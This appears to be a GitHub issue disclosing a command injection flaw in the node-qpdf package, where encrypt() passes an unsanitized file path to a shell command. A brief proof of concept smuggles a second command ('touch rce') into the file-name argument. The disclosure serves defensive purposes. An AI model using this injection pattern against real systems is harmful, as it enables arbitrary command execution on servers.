node-qpdf icon indicating copy to clipboard operation
node-qpdf copied to clipboard

Potential command injection vulnerability in node-qpdf

Open xiaofen9 opened this issue 1 year ago • 0 comments

Hi,

We would like to report a potential security vulnerability. The bug is introduced because the package-exported method encrypt() fails to sanitize its parameter input, which later flows into a sensitive command execution API. As a result, attackers may inject malicious commands once they can specify the input pdf file path.

Here is the proof of concept.

var qpdf = require('node-qpdf');

var options = {
    keyLength: 128,
    password: 'YOUR_PASSWORD_TO_ENCRYPT'
}

qpdf.encrypt('test.pdf ||touch rce||', options); // a file named rce will be created

xiaofen9 avatar Jun 08 '23 14:06 xiaofen9